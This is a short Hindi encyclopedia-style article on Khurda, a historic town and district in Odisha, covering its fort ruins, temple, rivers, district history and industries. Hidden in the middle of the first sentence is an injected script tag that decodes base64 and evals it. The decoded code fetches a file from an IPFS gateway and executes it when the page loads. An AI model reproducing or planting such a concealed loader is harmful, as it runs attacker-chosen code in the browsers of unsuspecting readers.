खुर्दा

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खुर्दा या खोरधा उड़ीसा के ऐतिहासिक स्थानों में से एक है। यह कटक के 25 मील (लगभग 40 कि.मी.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> दूर स्थित है। यहाँ एक प्राचीन दुर्ग के अवशेष और जगन्नाथपुरी के प्राचीन राजाओं के भवन भी अभी तक स्थित हैं। खुर्दा में हाटकेश्वर का मंदिर है।[1]

  • खुर्दा उड़ीसा राज्य के खुर्दा ज़िले का मुख्यालय शहर है। प्रारंभ में खुरदा के नाम से मशहूर उड़ीसा का खोरधा ज़िला 2889 वर्ग कि.मी. के क्षेत्र में फैला हुआ है।
  • यहाँ प्रवाहित होने वाली नदियों में दया नदी और कूखई नदी प्रमुख है।
  • खुर्दा ज़िले का निर्माण 1 अप्रैल, 1993 को पुरी और नयागढ़ ज़िले को काटकर किया गया था।
  • उड़ीसा राज्य की राजधानी भुवनेश्वर खुर्दा ज़िले के अन्तर्गत ही आती है। आरंभ में यह उड़ीसा शासकों की राजधानी थी।
  • यह ज़िला कुटीर उद्योगों, चरखा मिल, केबल फैक्ट्री, रेलवे कोच रिपेयरिंग फैक्ट्री और तेल उद्योग के लिए लोकप्रिय है।


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टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: वैज्ञानिक तथा तकनीकी शब्दावली आयोग, मानव संसाधन विकास मंत्रालय, भारत सरकार |पृष्ठ संख्या: 257 |

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